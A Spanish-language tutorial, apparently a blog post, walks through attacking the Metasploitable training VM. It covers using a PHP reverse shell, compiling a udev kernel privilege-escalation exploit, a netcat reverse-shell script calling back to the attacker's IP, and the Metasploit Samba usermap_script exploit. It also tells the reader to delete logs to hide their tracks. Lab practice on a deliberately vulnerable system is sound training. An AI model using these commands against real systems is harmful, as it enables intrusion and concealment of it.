Quantcast
Viewing latest article 3
Browse Latest Browse All 11

Entrenando con Metasploitable (III). Escalación de privilegios + Samba

En esta entrada vamos a seguir explotando vulnerabilidades de la distro de entrenamiento Metasploitable. Si recordais, en la última entrada acabamos consiguiendo una reverse shell mediante php y netcat. En la entrada de hoy, vamos a partir de esa shell, para mediante un exploit en C realizar una elevación de privilegios y conseguir root.
Posteriormente utilizaremos otro exploit (vía Metasploit) para explotar Samba (que como vimos en la primera entrada está corriendo bajo los puertos 139 y 445).

Empezamos

Escalación de privilegios

Partimos de la shell del último día, si no os acordais consultad la parte 2 de esta serie de tutoriales. O bien seguid estos pasos:

  • Ejecutar un netcat en el puerto 1234 con:
    nc -vnlp 1234
  • Y después visitar la url donde estaba subida la reverse shell, en mi caso era http://192.168.0.2/tikiwiki/backups/prs.php

Ya tendremos acceso a la shell, como se puede apreciar en esta imagen:

Image may be NSFW.
Clik here to view.
Shell mediante php y netcat

Ahora podemos ver con el comando whoami y el comando id cual es la id de nuestro usuario, y su grupo:

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Podemos tambien mediante uname -a y uname -r observar los datos relacionados con el Kernel que corre el servidor:

$ uname -a && uname -r
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
2.6.24-16-server

Ahora podemos ir a exploit-db y realizar una búsqueda de exploits para dicha version del Kernel.

En nuestro caso utilizaremos este exploit lo más lógico sería hacer un wget mediante la shell que tenemos y descargarlo in-situ. Pero no tenemos privilegios de escritura con dicho usuario (www-data). Así que si le echamos un poco más de imaginación y recordando que la shell en php que subimos en el ejemplo anterior se encuentra en http://192.168.0.2/tikiwiki/backups/prs.php. Si accedemos a la ruta /var/www/tikiwiki/backups/ encontraremos el archivo prs.php, así que subiremos el exploit de la misma manera que subimos la shell en php, accediendo a la url http://192.168.0.2/tikiwiki/tiki-backup.php.

Image may be NSFW.
Clik here to view.
Subiendo el exploit gracias a tikiwiki

Si no estamos en /var/www/tikiwiki/backups/ nos movemos a ese directorio, y allí compilamos el exploit que hemos subido con gcc:

gcc lpexploit.c -o exploit

Ahora, vamos a preparar una conexión desde la shell que tenemos a Backtrack (la ip de nuestro Backtrack es 192.168.0.6) , para cuando ejecutemos el exploit. Lo haremos con:

echo '#!/bin/sh' > /tmp/run
echo '/bin/netcat -e /bin/sh 192.168.0.6 1234' >> /tmp/run

Una vez hecho esto, tenemos que comprobar que pid tiene udev, ya que a nuestro exploit tenemos que pasarle un argumento, que es el pid de udev – 1:

$ ps -edf | grep udev
root      3018     1  0 10:59 ?        00:00:00 /sbin/udevd --daemon
www-data  5483  5469  0 11:03 ?        00:00:00 grep udev

Ahora, solo nos queda ejecutar otro netcat, que es donde obtendremos la root shell:

nc -vlp 1234

Y desde la shell que tenemos ejecutamos ./exploit 3017 (3017, es el pid de udev -1):

Image may be NSFW.
Clik here to view.
Shell root

Nota: Si queremos borrar nuestros rastros (al menos de manera superficial) no podemos olvidarnos de borrar lpexploit.c y gracias al comando find -name \*.log -mmin x podemos ver los archivos modificados en los últimos x minutos para borrar nuestras huellas (ejecutar dentro de /var/logs/).

Explotando Samba con Metasploit

Arrancamos Metasploit, con el comando msfconsole, como siempre y vamos a realizar una búsqueda con “samba”, a ver si hay exploits disponibles:

msf > search samba

Usaremos exploit/multi/samba/usermap_script, lo cargamos, como de costumbre, con use, y miramos las opciones que nos ofrece el exploit.

msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show options

Image may be NSFW.
Clik here to view.
Opciones del exploit

Con set RHOST [ip] le pasamos al exploit la ip de Metasploitable, y con RPORT el puerto, en nuestro caso el 445 como ya dijimos anteriormente:

msf exploit(usermap_script) > set RHOST 192.168.0.2
msf exploit(usermap_script) > set RPORT 445

Ahora con show payloads elegiremos un payload de nuestro gusto, en mi caso cmd/unix/reverse

msf exploit(usermap_script) > show payloads

Image may be NSFW.
Clik here to view.
Payloads

Ahora solo nos queda ejecutar el exploit con exploit y ya tenemos otra shell:

Image may be NSFW.
Clik here to view.
Root shell, gracias al exploit de Samba

Happy training Image may be NSFW.
Clik here to view.
;)


Viewing latest article 3
Browse Latest Browse All 11